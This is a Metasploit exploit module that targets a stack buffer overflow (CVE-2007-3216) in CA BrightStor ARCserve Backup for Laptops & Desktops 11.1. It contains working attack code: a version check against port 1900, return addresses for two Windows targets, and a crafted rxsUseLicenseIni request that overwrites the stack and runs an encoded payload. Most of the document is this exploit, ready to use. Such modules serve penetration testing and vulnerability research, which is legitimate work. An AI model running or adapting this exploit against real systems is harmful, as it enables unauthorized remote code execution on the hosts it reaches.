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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
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        for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
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        attacker could overflow the buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-3216' ],
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          [ 'OSVDB', '35329' ],
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          [ 'BID', '24348' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 700,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform' => 'win',
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      'Targets'  =>
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        [
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          [ 'Windows 2003 SP0 English',	{ 'Ret' => 0x71ae1f9b } ],
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          [ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75031dce } ],
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        ],
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      'DisclosureDate' => '2007-06-06',
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      'DefaultTarget' => 0))
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    register_options([ Opt::RPORT(1900) ])
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  end
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  def check
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    connect
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    sock.put("0000000019rxrGetServerVersion")
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    ver = sock.get_once
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    disconnect
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    if ( ver and ver =~ /11\.1\.742/ )
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        return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    data  = rand_text_alpha_upper(4108) + [target.ret].pack('V')
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    data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)
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    sploit  = "0000004820"         # Command Length Field
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    sploit << "rxsUseLicenseIni"   # RPC Command
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    sploit << "~~"                 # Constant Argument Delimiter
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    sploit << data
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    print_status("Trying target #{target.name}...")
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    # One-shot overwrite...
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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